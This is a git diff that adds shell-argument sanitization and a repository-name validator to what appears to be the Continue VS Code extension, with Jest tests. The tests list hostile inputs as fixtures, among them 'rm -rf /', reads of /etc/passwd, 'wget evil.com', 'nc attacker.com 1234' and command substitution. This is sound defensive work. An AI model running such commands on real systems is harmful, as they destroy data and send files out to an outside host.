diff --git a/core/util/sanitization.test.ts b/core/util/sanitization.test.ts new file mode 100644 index 000000000..c0870ea66 --- /dev/null +++ b/core/util/sanitization.test.ts @@ -0,0 +1,89 @@ +import { describe, expect, it } from "@jest/globals"; +import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; + +describe("sanitizeShellArgument", () => { + it("should escape shell metacharacters", () => { + const dangerous = [ + "; rm -rf /", + "&& cat /etc/passwd", + "|| wget evil.com", + "| nc attacker.com 1234", + "`whoami`", + "$(whoami)", + "$HOME/evil", + ]; + + dangerous.forEach((input) => { + const result = sanitizeShellArgument(input); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + // shell-quote should properly escape these + expect(result).not.toBe(input); + }); + }); + + it("should handle safe strings", () => { + const safe = ["agent-123", "my-agent", "simple-message"]; + safe.forEach((input) => { + const result = sanitizeShellArgument(input); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + }); + }); + + it("should handle special characters", () => { + const result = sanitizeShellArgument("agent with spaces"); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + }); + + it("should handle empty string", () => { + const result = sanitizeShellArgument(""); + expect(result).toBeDefined(); + }); +}); + +describe("validateGitHubRepoUrl", () => { + it("should accept valid repository names", () => { + expect(validateGitHubRepoUrl("continuedev/continue")).toBe(true); + expect(validateGitHubRepoUrl("owner/repo")).toBe(true); + expect(validateGitHubRepoUrl("owner-name/repo-name")).toBe(true); + expect(validateGitHubRepoUrl("https://github.com/owner/repo")).toBe(true); + expect(validateGitHubRepoUrl("git@github.com:owner/repo.git")).toBe(true); + }); + + it("should reject path traversal", () => { + expect(validateGitHubRepoUrl("../../../etc/passwd")).toBe(false); + expect(validateGitHubRepoUrl("owner/../evil")).toBe(false); + }); + + it("should reject command injection attempts", () => { + expect(validateGitHubRepoUrl("owner/repo; rm -rf /")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo && cat /etc/passwd")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo || wget evil.com")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo | nc attacker")).toBe(false); + }); + + it("should reject shell metacharacters", () => { + expect(validateGitHubRepoUrl("owner/$(whoami)")).toBe(false); + expect(validateGitHubRepoUrl("owner/`whoami`")).toBe(false); + expect(validateGitHubRepoUrl("$EVIL/repo")).toBe(false); + }); + + it("should reject shell redirection", () => { + expect(validateGitHubRepoUrl("owner/repo > /dev/null")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo < /etc/passwd")).toBe(false); + }); + + it("should reject newlines", () => { + expect(validateGitHubRepoUrl("owner/repo\nrm -rf /")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo\rrm -rf /")).toBe(false); + }); + + it("should reject empty or invalid input", () => { + expect(validateGitHubRepoUrl("")).toBe(false); + expect(validateGitHubRepoUrl(" ")).toBe(false); + expect(validateGitHubRepoUrl(null as any)).toBe(false); + expect(validateGitHubRepoUrl(undefined as any)).toBe(false); + }); +}); diff --git a/core/util/sanitization.ts b/core/util/sanitization.ts new file mode 100644 index 000000000..da17df8c3 --- /dev/null +++ b/core/util/sanitization.ts @@ -0,0 +1,72 @@ +import { quote } from "shell-quote"; + +/** + * Sanitization utilities for preventing injection attacks. + * These utilities address specific security vulnerabilities identified in code review. + */ + +/** + * Sanitizes a string for safe use in shell commands by escaping special characters. + * Uses the battle-tested `shell-quote` library. + * + * @param arg - The argument to sanitize for shell execution + * @returns A safely escaped string suitable for shell commands + * + * @example + * ```typescript + * const command = `git stash push -m ${sanitizeShellArgument(message)}`; + * ``` + * + * Protects against: + * - Command injection (`;`, `&&`, `||`, `|`) + * - Command substitution (`$()`, backticks) + * - Variable expansion (`$VAR`) + */ +export function sanitizeShellArgument(arg: string): string { + const result = quote([arg]); + return typeof result === "string" ? result : arg; +} + +/** + * Validates that a repository name/URL doesn't contain malicious patterns. + * Rejects dangerous patterns but doesn't validate full URL structure. + * + * @param repoName - The repository name or URL to validate + * @returns true if safe, false if contains dangerous patterns + * + * @example + * ```typescript + * validateGitHubRepoUrl("owner/repo"); // true + * validateGitHubRepoUrl("owner/repo; rm -rf /"); // false + * ``` + * + * Protects against: + * - Path traversal (`../`) + * - Command injection (`;`, `&&`, `||`) + * - Shell metacharacters (backticks, `$`, `|`) + */ +export function validateGitHubRepoUrl(repoName: string): boolean { + if (!repoName || typeof repoName !== "string") { + return false; + } + + const trimmed = repoName.trim(); + + // Reject empty or whitespace-only strings + if (trimmed.length === 0) { + return false; + } + + // Reject path traversal + if (trimmed.includes("..")) { + return false; + } + + // Reject shell metacharacters that could enable injection + const dangerousChars = [";", "&", "|", "$", "`", "\n", "\r", "<", ">"]; + if (dangerousChars.some((char) => trimmed.includes(char))) { + return false; + } + + return true; +} diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 77c0cbab9..501ff56bc 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -15,6 +15,10 @@ import { WEBVIEW_TO_CORE_PASS_THROUGH, } from "core/protocol/passThrough"; import { stripImages } from "core/util/messageContent"; +import { + sanitizeShellArgument, + validateGitHubRepoUrl, +} from "core/util/sanitization"; import * as vscode from "vscode"; import { ApplyManager } from "../apply"; @@ -295,6 +299,13 @@ export class VsCodeMessenger { // Get repo name/URL const repoName = await this.ide.getRepoName(workspaceDir); if (repoName) { + // Validate repo URL to prevent injection attacks + if (!validateGitHubRepoUrl(repoName)) { + vscode.window.showErrorMessage( + "Invalid repository format. Please ensure you're using a valid GitHub repository.", + ); + return; + } // If repo name looks like "owner/repo", convert to GitHub URL if (repoName.includes("/") && !repoName.startsWith("http")) { repoUrl = `https://github.com/${repoName}`; @@ -565,8 +576,10 @@ export class VsCodeMessenger { async () => { const workspacePath = vscode.Uri.parse(matchingWorkspace).fsPath; + // Sanitize agentSessionId to prevent command injection + const stashMessage = `Continue: Stashed before opening agent ${agentSessionId}`; await this.ide.subprocess( - `git stash push -m "Continue: Stashed before opening agent ${agentSessionId}"`, + `git stash push -m ${sanitizeShellArgument(stashMessage)}`, workspacePath, ); },